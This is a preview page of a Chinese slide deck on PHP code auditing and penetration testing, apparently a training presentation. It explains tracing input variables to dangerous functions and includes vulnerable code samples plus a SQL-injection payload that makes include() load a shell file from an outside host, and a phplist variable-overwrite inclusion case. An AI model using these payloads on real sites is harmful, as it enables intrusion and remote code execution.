web代码审计与渗透测试

web代码审计与渗透测试

ID:19544289

大小:2.23 MB

页数:39页

时间:2018-10-03

web代码审计与渗透测试_第1页
web代码审计与渗透测试_第2页
web代码审计与渗透测试_第3页
web代码审计与渗透测试_第4页
web代码审计与渗透测试_第5页
资源描述:

《web代码审计与渗透测试》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库

1、WEB代码审计与渗透测试紫柒收集制作QQ:188159400WEB应用程序代码审计程序的两大根本:变量与函数漏洞现成的条件:A、可以控制的变量【一切输入都是有害的】B、变量到达有利用价值的函数[危险函数]【一切进入函数的变量是有害的】漏洞的利用效果取决于最终函数的功能变量进入什么样的函数就导致什么要的效果PHP应用程序代码审计为什么只是PHP?A、跨平台、应用广泛、复杂B、变量处理灵活[如变量覆盖、全局变量等]C、函数库巨大[导致漏洞类型多,既有通用的又有特有的]E、代码审计的思路是可以通用的变量预定义变量[常规外部提交的变量]GPC$_ENV/SERVER/SESSION$HTT

2、P_RAW_POST_DATA等register_globals=on[未初始化的变量]PHP»4.20默认为off变量覆盖[未初始化及覆盖前定义的变量]如:extract()、遍历初始化变量、parse_str()等变量的传递与存储[中转的变量]存储于数据库、文件[如配置、缓存文件等]危险函数文件包含包含漏洞代码执行执行任意代码漏洞命令执行执行任意命令漏洞文件系统操作文件(目录)读写等漏洞数据库操作SQL注射漏洞数据显示XSS等客服端漏洞……什么样的函数导致什么样的漏洞!更多的变量处理与危险函数《高级PHP应用程序漏洞审核技术》http://code.google.c

3、om/p/pasc2at/wiki/SimplifiedChinese代码审计的本质找漏洞==找对应变量与函数变量跟踪的过程通过变量找函数[正向跟踪变量]$id=$_GET[‘id’]$sid=$id…函数($sid)通过函数找变量[逆向跟踪变量]函数($sid)$sid=$id…$id=$_GET[‘id’]变量的传递与二次漏洞变量存储、提取、传递是一个复杂的立体的过程过程中经过多个不一样的函数的处理后继续传递,最终达到漏洞函数传递的过程中任意环节可控就可能导致漏洞中间函数处理的过程诞生新的变量,新的变量达到新的漏洞函数诞生新的漏洞[二次漏洞]二次漏洞什么是二次漏洞

4、?2006年提出的一个概念主导思想:通过一个现有漏洞,创造新的漏洞使得漏洞利用最大化一个demo一个典型的文件删除漏洞[注意:include与require的区别]二次漏洞又一个demo一个注射漏洞$sql="selectid,filepath,user,namefromattachmentwherefileid=$_GET[‘id’]”; $result=mysql_db_query($dbname,$sql); $file=mysql_fetch_array($result);然

5、而:include($file[‘filepath’]);一个貌似不可以直接控制的新变量$file[‘filepath’]进入了危险函数include()?id=1unionselect1,’http://www.80vul.com/shell.txt’,1,1当然我们没有那个注射漏洞,只要我们对数据库有控制权限一样可以通过update、insert控制$file[‘filepath’]。一个实例: phplist-2.10.4[oldver]远程包含漏洞//phplist-2.10.4public_htmllistsadminindex.phpif(!ini_get("r

6、egister_globals")

7、

8、ini_get("register_globals")=="off"){......//经典的变量覆盖漏洞模式foreach($_REQUESTas$key=>$val){$$key=$val;}}......//覆盖$_SERVER[“ConfigFile”],经过is_file()判断后进入include()if(isset($_SERVER["ConfigFile"])&&is_file($_SERVER["ConfigFile"])){print''."";

9、include$_SERVER["ConfigFile"];但是is_file()是不支持远程文件的,所以到目前代码只是一个本地包含漏洞\phplist-2.10.4public_htmllistsadmincommonlibpagesimportcsv.php......if(!isset($GLOBALS["assign_invalid_default"]))$GLOBALS["assign_invalid_default"]=$GLOBALS['I

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。